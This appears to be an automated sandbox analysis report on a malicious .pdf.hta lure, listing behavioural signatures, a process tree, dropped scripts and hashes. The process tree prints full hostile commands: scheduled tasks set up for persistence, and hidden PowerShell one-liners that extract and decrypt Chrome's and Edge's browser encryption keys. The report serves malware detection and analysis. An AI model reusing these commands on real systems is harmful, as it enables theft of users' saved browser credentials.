Analysis

  • max time kernel
    300s
  • max time network
    304s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 15:48

General

  • Target
    Исх. 134-ОБ от 06.08.2026/Исх. 134-ОБ от 06.08.2026.pdf.hta
  • Size 227KB
  • Sample260808-s8vmzstxcs
  • SHA256 7ff2ff71476d354fdf334bc299b35d4af0081231b9a67c030ac71dbe5aec84e4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 10 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Исх. 134-ОБ от 06.08.2026\Исх. 134-ОБ от 06.08.2026.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "Movavius\Cursor\Alert" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Blur\project_plan.js"" /sc minute /mo 15 /rl LIMITED /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:3820
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "Movavius\Cursor\Confirm" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Service\sent_items.js"" /sc minute /mo 15 /rl LIMITED /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:3352
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "Movavius\Cursor\Drive" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Active\Italic\photo_gallery.js"" /sc minute /mo 10 /rl LIMITED /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:4128
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "Movavius\Cursor\Decline" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Private\config_backup.js"" /sc minute /mo 5 /rl LIMITED /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:4644
  • C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Total\Radio\Domain\presentation.js"
    1⤵
    • Adds Run key to start application
    PID:2400
  • C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Toggle\Line\Boot\scheduler.js"
    1⤵
    • Badlisted process makes network request
    • Adds Run key to start application
    PID:4960
  • C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Attach\Collapse\calendar_event.js"
    1⤵
    • Badlisted process makes network request
    • Adds Run key to start application
    PID:4820
  • C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe
    1⤵
      PID:3020
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Connected\Expand\application_list.js"
      1⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1500
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\SMK1.txt' -Value $e;}"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\SMK1.txt' -Value $e;}"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2604
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\SMK2.txt' -Value $e;}"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:464
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\SMK2.txt' -Value $e;}"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3740
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Private\config_backup.js
      1⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:3540
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Private\config_backup.js"
      1⤵
      • Adds Run key to start application
      PID:2432

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          calendar_event.js

          • Path C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Attach\Collapse\calendar_event.js
          • Size 3KB
          • SHA256 9f22d035900d4c8fe27112b915547582f620b86a092abffa2fc8f1bb29ff897c
          • MD5 SHA1 SHA512 TLSH

          application_list.js

          • Path C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Connected\Expand\application_list.js
          • Size 3KB
          • SHA256 076a304a7565bb5ed1d5a43e1053996306f50623b9251e6940ff9375045c054d
          • MD5 SHA1 SHA512 TLSH

          scheduler.js

          • Path C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Toggle\Line\Boot\scheduler.js
          • Size 2KB
          • SHA256 87ae53a35240ecc5a736bfe190c2b92d53b30b6a9c5e065303bc0da544498f6d
          • MD5 SHA1 SHA512 TLSH

          presentation.js

          • Path C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Total\Radio\Domain\presentation.js
          • Size 3KB
          • SHA256 a2f38daceafe6e7681280b84847092cfbac5e40a07d4f7a51cb5d473b534e089
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 71208a02db37d92ecd2556c034d2ce5bcc07761009a7f1c423610f5fbbeb06f6
          • MD5 SHA1 SHA512 TLSH

          memory/2604-23-0x00000214C7810000-0x00000214C7832000-memory.dmp

          memory/2604-26-0x00000214C7C50000-0x00000214C7CA0000-memory.dmp

          memory/2604-27-0x00000214C7E70000-0x00000214C8032000-memory.dmp

          memory/2604-28-0x00000214C8570000-0x00000214C8A98000-memory.dmp